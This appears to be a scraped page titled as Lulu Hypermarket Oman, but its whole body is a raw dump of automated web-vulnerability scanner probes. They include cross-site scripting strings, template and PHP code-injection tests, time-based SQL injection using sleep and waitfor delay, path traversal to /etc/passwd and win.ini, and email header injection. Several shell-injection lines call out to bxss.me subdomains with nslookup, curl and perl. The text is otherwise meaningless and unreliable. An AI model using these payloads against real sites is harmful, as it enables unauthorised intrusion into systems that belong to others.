لولو هايبرماركت عُمان

}body{zzz:Expre/**/SSion(QcBv(9261))}

<ScRiPt>QcBv(9847)</sCripT>

\u003CScRiPt\QcBv(9892)\u003C/sCripT\u003E

%0D%0A%3C%53%63%52%69%50%74%20%3E%51%63%42%76%289572%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

bfgx8549��z1��z2a�bcxhjl8549

bfg4137＜s1﹥s2ʺs3ʹhjl4137

9482028

}body{zzz:Expre/**/SSion(ZBHJ(9865))}

&lt;ScRiPt&gt;ZBHJ(9729)&lt;/sCripT&gt;

\u003CScRiPt\ZBHJ(9926)\u003C/sCripT\u003E

%0D%0A%3C%53%63%52%69%50%74%20%3E%5A%42%48%4A%289122%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

bfgx4310��z1��z2a�bcxhjl4310

bfg9468＜s1﹥s2ʺs3ʹhjl9468

9231795

9899877

@@zSjHN

����%2527%2522\'\"

'"

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

gqYHPMoH')) OR 967=(SELECT 967 FROM PG_SLEEP(15))--

fIYV2VxH') OR 756=(SELECT 756 FROM PG_SLEEP(15))--

GlcMXpLo' OR 868=(SELECT 868 FROM PG_SLEEP(15))--

-1)) OR 873=(SELECT 873 FROM PG_SLEEP(15))--

-1) OR 752=(SELECT 752 FROM PG_SLEEP(15))--

-1 OR 763=(SELECT 763 FROM PG_SLEEP(15))--

QZFA5gZ7')); waitfor delay '0:0:15' --

RblYvie7'); waitfor delay '0:0:15' --

b39sp5d4'; waitfor delay '0:0:15' --

-1 waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

*if(now()=sysdate(),sleep(15),0)

}body{zzz:Expre/**/SSion(s0zk(9593))}

&lt;ScRiPt&gt;s0zk(9173)&lt;/sCripT&gt;

\u003CScRiPt\s0zk(9340)\u003C/sCripT\u003E

%0D%0A%3C%53%63%52%69%50%74%20%3E%73%30%7A%6B%289935%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

bfgx3981��z1��z2a�bcxhjl3981

bfg7925＜s1﹥s2ʺs3ʹhjl7925

9283354

/\xfs.bxss.me?labeb.com

//xfs.bxss.me?labeb.com

xfs.bxss.me?labeb.com

http://xfs.bxss.me?labeb.com

964227

xfs.bxss.me

ratecatalog/.

ratecatalog

bxss.me

'"

c:/windows/win.ini

ratecatalog

/etc/shells

http://bxss.me/t/fit.txt?.jpg

Http://bxss.me/t/fit.txt

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

'+'A'.concat(70-3).concat(22*4).concat(112).concat(71).concat(103).concat(88)+(require'socket' Socket.gethostbyname('hitld'+'kacijjcj12de7.bxss.me.')[3].to_s)+'

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(112).concat(81).concat(102).concat(65)+(require"socket" Socket.gethostbyname("hitku"+"mnmaarghb6cdf.bxss.me.")[3].to_s)+"

HttP://bxss.me/t/xss.html?%00

;(nslookup -q=cname hitnuoddefuvy34dad.bxss.me||curl hitnuoddefuvy34dad.bxss.me)|(nslookup -q=cname hitnuoddefuvy34dad.bxss.me||curl hitnuoddefuvy34dad.bxss.me)&(nslookup -q=cname hitnuoddefuvy34dad.bxss.me||curl hitnuoddefuvy34dad.bxss.me)

`(nslookup -q=cname hitmuiiyngvyefe546.bxss.me||curl hitmuiiyngvyefe546.bxss.me)`

|(nslookup -q=cname hitxubgecggth2d458.bxss.me||curl hitxubgecggth2d458.bxss.me)

&(nslookup -q=cname hitbnjyhzyjjh7dbf2.bxss.me||curl hitbnjyhzyjjh7dbf2.bxss.me)&'\"`0&(nslookup -q=cname hitbnjyhzyjjh7dbf2.bxss.me||curl hitbnjyhzyjjh7dbf2.bxss.me)&`'

&nslookup -q=cname hiteklcidczbeb35ee.bxss.me&'\"`0&nslookup -q=cname hiteklcidczbeb35ee.bxss.me&`'

$(nslookup -q=cname hithqniirnous3c417.bxss.me||curl hithqniirnous3c417.bxss.me)

(nslookup -q=cname hitohtocerort8e175.bxss.me||curl hitohtocerort8e175.bxss.me))

|echo ffpufs$()\ dboqvp\nz^xyu||a #' |echo ffpufs$()\ dboqvp\nz^xyu||a #|" |echo ffpufs$()\ dboqvp\nz^xyu||a #

"+response.write(9282577*9977956)+"

&echo cvkakb$()\ mksepk\nz^xyu||a #' &echo cvkakb$()\ mksepk\nz^xyu||a #|" &echo cvkakb$()\ mksepk\nz^xyu||a #

'+response.write(9282577*9977956)+'

response.write(9282577*9977956)

echo iryljm$()\ rypwzt\nz^xyu||a #' &echo iryljm$()\ rypwzt\nz^xyu||a #|" &echo iryljm$()\ rypwzt\nz^xyu||a #

ctime sleep p0 (I30 tp1 Rp2 .

12345'"\'\");|]*{ <>�''💡

${10000267+9999930}

./

../

file:///etc/passwd

../../../../../../../../../../../../../../windows/win.ini

../../../../../../../../../../../../../../etc/passwd

/../../../../../../../../../../windows/system32/BITSADMIN.exe

bAFSb5GV

'.print(md5(31337)).'

${@print(md5(31337))}\

${@print(md5(31337))}

";print(md5(31337));$a="

';print(md5(31337));$a='

&n933189=v949097

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

"||sleep(27*1000)*zowqif||"

'||sleep(27*1000)*gnfqhd||'

"&&sleep(27*1000)*hgozek&&"

'&&sleep(27*1000)*gagtkw&&'

'"()

".gethostbyname(lc("hitev"."ymhofohsa0116.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(74).chr(120).chr(70)."

'.gethostbyname(lc('hitmy'.'azjwotvi36009.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(71).chr(117).chr(69).'

^(#$!@#$)(()))******

!(()&&!|*|*|

)

1C8H37xe5CO

}body{acu:Expre/**/SSion(d0ss(9664))}

&lt;ScRiPt&gt;d0ss(9158)&lt;/sCripT&gt;

\u003CScRiPt\d0ss(9038)\u003C/sCripT\u003E

%0D%0A%3C%53%63%52%69%50%74%20%3E%64%30%73%73%289865%29%3C%2F%73%43%72%69%70%54%3E

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

acx__${98991*97996}__::.x

acx[[${98991*97996}]]xca

acx{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

<%={{={@{#{${acx}}%>

acux7590��z1��z2a�bcxuca7590

acu7465＜s1﹥s2ʺs3ʹuca7465

9210561

'.print(md5(31337)).'

${@print(md5(31337))}\

${@print(md5(31337))}

";print(md5(31337));$a="

/\xfs.bxss.me

//xfs.bxss.me

http://xfs.bxss.me

';print(md5(31337));$a='

904116

/xfs.bxss.me

bxss.me

c:/windows/win.ini

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

;(nslookup hityjibptvtniab2dd.bxss.me||perl -e "gethostbyname('hityjibptvtniab2dd.bxss.me')")|(nslookup hityjibptvtniab2dd.bxss.me||perl -e "gethostbyname('hityjibptvtniab2dd.bxss.me')")&(nslookup hityjibptvtniab2dd.bxss.me||perl -e "gethostbyname('hityjibptvtniab2dd.bxss.me')")

/etc/shells

`(nslookup hitxffaazmbxz8be52.bxss.me||perl -e "gethostbyname('hitxffaazmbxz8be52.bxss.me')")`

ratecatalog/.

http://bxss.me/t/fit.txt?.jpg

|(nslookup hitbttfbpjhhge5103.bxss.me||perl -e "gethostbyname('hitbttfbpjhhge5103.bxss.me')")

Http://bxss.me/t/fit.txt

1some_inexistent_file_with_long_name.jpg

ratecatalog

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

ratecatalog

'"

&(nslookup hitbplqptwtlk5daf3.bxss.me||perl -e "gethostbyname('hitbplqptwtlk5daf3.bxss.me')")&'\"`0&(nslookup hitbplqptwtlk5daf3.bxss.me||perl -e "gethostbyname('hitbplqptwtlk5daf3.bxss.me')")&`'

$(nslookup hittphqvfkorxe8ebe.bxss.me||perl -e "gethostbyname('hittphqvfkorxe8ebe.bxss.me')")

(nslookup hitlbqoiawnzf33e7a.bxss.me||perl -e "gethostbyname('hitlbqoiawnzf33e7a.bxss.me')")

|echo qyuujb$()\ exolqm\nz^xyu||a #' |echo qyuujb$()\ exolqm\nz^xyu||a #|" |echo qyuujb$()\ exolqm\nz^xyu||a #

&echo sizpwq$()\ pshlrd\nz^xyu||a #' &echo sizpwq$()\ pshlrd\nz^xyu||a #|" &echo sizpwq$()\ pshlrd\nz^xyu||a #

echo ntapze$()\ bhvnjy\nz^xyu||a #' &echo ntapze$()\ bhvnjy\nz^xyu||a #|" &echo ntapze$()\ bhvnjy\nz^xyu||a #

'+'A'.concat(70-3).concat(22*4).concat(114).concat(76).concat(100).concat(78)+(require'socket' Socket.gethostbyname('hitej'+'elfegozk700c0.bxss.me.')[3].to_s)+'

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

".gethostbyname(lc("hitzl"."vfhyesakfb6f4.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(69).chr(114).chr(78)."

"+"A".concat(70-3).concat(22*4).concat(104).concat(65).concat(119).concat(85)+(require"socket" Socket.gethostbyname("hityu"+"ezlafmws72e0a.bxss.me.")[3].to_s)+"

'.gethostbyname(lc('hithz'.'myzfqzgvaf729.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(71).chr(115).chr(81).'

bxss.me/t/xss.html?%00

HttP://bxss.me/t/xss.html?%00

'"()

^(#$!@#$)(()))******

!(()&&!|*|*|

./

)

../

ctime sleep p0 (I30 tp1 Rp2 .

&n913793=v996848

../../../../../../../../../../../../../../windows/win.ini

../../../../../../../../../../../../../../etc/passwd

12345'"\'\");|]*{ <>�''💡

${9999087+10000308}

to@example.com> bcc:009247.292-40232.292.a2620.19857.2@bxss.me

bcc:009247.292-40231.292.a2620.19857.2@bxss.me

"+response.write(9352163*9158871)+"

'+response.write(9352163*9158871)+'

response.write(9352163*9158871)

J6MFsYAK

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1DIABdcLESO

@@nySfc

����%2527%2522\'\"

'"

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

rwSsTBpw')) OR 199=(SELECT 199 FROM PG_SLEEP(15))--

RF9LUlIC') OR 720=(SELECT 720 FROM PG_SLEEP(15))--

N71N7w3F' OR 540=(SELECT 540 FROM PG_SLEEP(15))--

-1)) OR 863=(SELECT 863 FROM PG_SLEEP(15))--

-1) OR 59=(SELECT 59 FROM PG_SLEEP(15))--

-1 OR 374=(SELECT 374 FROM PG_SLEEP(15))--

GwNXTqKj')); waitfor delay '0:0:15' --

rAandz7O'); waitfor delay '0:0:15' --

I6PjMxNW'; waitfor delay '0:0:15' --

-1 waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

1

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

*if(now()=sysdate(),sleep(15),0)